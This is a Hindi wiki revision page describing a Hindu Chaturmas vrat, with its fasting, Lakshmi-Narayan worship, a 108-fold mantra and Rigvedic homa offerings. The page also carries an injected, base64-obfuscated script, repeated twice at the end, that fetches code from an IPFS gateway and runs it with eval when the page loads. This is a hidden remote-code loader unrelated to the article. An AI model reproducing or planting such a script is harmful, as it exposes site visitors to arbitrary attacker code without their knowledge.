व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - ")</ref" to "</ref") |
||
(एक दूसरे सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया) | |||
पंक्ति 4: | पंक्ति 4: | ||
*एक जलपूर्ण घड़े पर [[लक्ष्मी]] एवं [[नारायण]] की प्रतिमाओं को रखकर रात्रि में पंचामृत किया जाता है। | *एक जलपूर्ण घड़े पर [[लक्ष्मी]] एवं [[नारायण]] की प्रतिमाओं को रखकर रात्रि में पंचामृत किया जाता है। | ||
*पुष्पों एवं तुलसी के दलों से 'ओं नमों नारायण' मन्त्र को 108 बार कहकर पूजा करनी होती है। | *पुष्पों एवं तुलसी के दलों से 'ओं नमों नारायण' मन्त्र को 108 बार कहकर पूजा करनी होती है। | ||
*अर्ध्य; उबाले हुए तिल एवं चावल का [[ऋग्वेद]]<ref>ऋग्वेद, (10|112|9 | *अर्ध्य; उबाले हुए तिल एवं चावल का [[ऋग्वेद]]<ref>ऋग्वेद, (10|112|9</ref> के मन्त्र के साथ एवं उबाले हुए चावल एवं घी का ऋग्वेद<ref>ऋग्वेद(10|155|1</ref> के मन्त्र के साथ होम किया जाता है।<ref>स्मृतिकौस्तुभ (414-416); व्रतार्क (365 ए-366 बी)।</ref> | ||
{{प्रचार}} | |||
{{संदर्भ ग्रंथ}} | {{संदर्भ ग्रंथ}} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== |
12:51, 27 जुलाई 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- चातुर्मास्य में एकादशी पर या आगे प्रथम मास में या अन्तिम मास में होता है।
- उपवास (धारण) एक मास में और पारण दूसरे मास में होता है।
- एक जलपूर्ण घड़े पर लक्ष्मी एवं नारायण की प्रतिमाओं को रखकर रात्रि में पंचामृत किया जाता है।
- पुष्पों एवं तुलसी के दलों से 'ओं नमों नारायण' मन्त्र को 108 बार कहकर पूजा करनी होती है।
- अर्ध्य; उबाले हुए तिल एवं चावल का ऋग्वेद[1] के मन्त्र के साथ एवं उबाले हुए चावल एवं घी का ऋग्वेद[2] के मन्त्र के साथ होम किया जाता है।[3]
टीका टिप्पणी और संदर्भ
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>